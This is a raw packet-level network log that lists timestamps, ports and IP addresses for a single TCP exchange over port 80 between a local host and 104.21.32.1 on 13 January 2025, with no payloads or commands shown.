Jan 13, 2025 09:22:25.656111002 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656122923 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656146049 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656157970 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656196117 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656199932 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656234026 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656248093 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656279087 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656280994 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656316042 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656330109 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656352997 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656364918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656388044 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656394958 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656423092 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656433105 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656457901 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656469107 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656492949 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656503916 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656528950 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656538963 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656564951 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656575918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656599998 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656610966 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656636000 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656641960 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656671047 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656681061 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656708956 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656714916 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656742096 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656766891 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656776905 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656778097 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656810999 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656819105 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656847000 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656857967 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656883955 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656909943 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656918049 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656938076 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656953096 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656970978 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.656989098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.656996012 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657026052 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657040119 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657062054 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657068968 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657097101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657099962 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657134056 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657170057 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657176018 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657206059 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657208920 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657241106 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657274008 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657284975 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657310009 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657325983 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657345057 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657350063 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657382011 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657416105 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657423019 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657443047 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657450914 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657466888 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657493114 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657507896 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657542944 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657552958 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657579899 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657591105 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657619953 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657629967 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657655001 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657684088 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657704115 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657720089 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657752991 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657753944 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657759905 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657789946 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657814980 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657824993 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657830000 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657860994 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657895088 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657902956 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.657929897 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657965899 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.657973051 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.658001900 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.658010006 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.658037901 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.658071041 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.658081055 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.658127069 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.724973917 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.725006104 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.725063086 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.725115061 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.725167036 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.725192070 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.725192070 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.725192070 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.725202084 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.725239038 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.725254059 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.725274086 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.725287914 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.725322008 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.734786034 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.734838009 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.734890938 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.734925032 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.734967947 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.734977961 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735028982 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735035896 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735064983 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735083103 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735105038 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735120058 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735156059 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735178947 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735198975 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735208035 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735244989 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735277891 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735291004 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735332012 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735364914 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735367060 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735375881 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735404968 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735434055 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735434055 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735454082 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735469103 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735486031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735505104 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735513926 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735543013 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735548019 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735579014 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735583067 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735611916 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735646009 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735678911 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.735682011 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735682011 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.735724926 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736279964 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736341000 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736381054 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736429930 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736433029 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736470938 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736481905 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736509085 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736522913 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736577988 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736612082 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736625910 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736648083 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736681938 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736690998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736690998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736720085 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736735106 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736768961 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736785889 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736809015 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736821890 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736871958 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736876965 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736915112 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736943960 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.736963987 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.736999035 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737030029 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737049103 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737051010 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737086058 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737096071 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737124920 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737128019 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737159967 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737169981 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737210989 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737222910 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737246037 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737281084 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737293005 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737313986 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737349033 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737374067 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737374067 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737384081 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737400055 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737421036 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737433910 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737456083 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737462044 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737492085 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737504005 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737525940 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737540960 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737560034 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737566948 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737593889 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737629890 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737653017 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737665892 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737683058 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737734079 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737735033 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737770081 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737787008 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737809896 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737828016 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737862110 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737890959 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737915039 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737915039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737946033 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.737963915 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737993956 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.737999916 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738048077 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738054037 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738087893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738101006 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738133907 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738141060 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738176107 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738226891 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738231897 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738286972 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738322020 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738337994 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738357067 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738368034 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738420010 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738471031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738471031 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738528013 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738578081 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738584042 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738612890 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738627911 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738648891 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738661051 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738696098 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738698959 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738734007 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738742113 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738770008 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738776922 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738805056 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738816977 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738842010 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738852978 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738871098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738888979 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738905907 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738919020 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738941908 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738954067 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.738977909 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.738990068 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739015102 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739026070 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739048958 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739061117 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739084959 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739095926 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739120007 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739130974 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739156008 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739167929 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739192963 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739202976 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739228964 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739239931 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739265919 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739279032 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739304066 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739320040 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739355087 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739362001 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739398003 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739413023 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739432096 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739440918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739468098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739475012 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739502907 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739537954 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739550114 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739574909 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739578009 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739609957 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739619017 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739645958 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739659071 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739681959 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739691019 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739717007 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739733934 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739751101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739767075 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739783049 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739799976 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739818096 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739830017 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739855051 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739862919 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739886045 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.739902973 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.739933014 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.817471027 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.817529917 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.817531109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.817564011 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.817579985 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.817608118 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.817616940 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.817652941 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.817660093 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.817687988 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.817693949 CET	49865	80	192.168.2.5	104.21.32.1
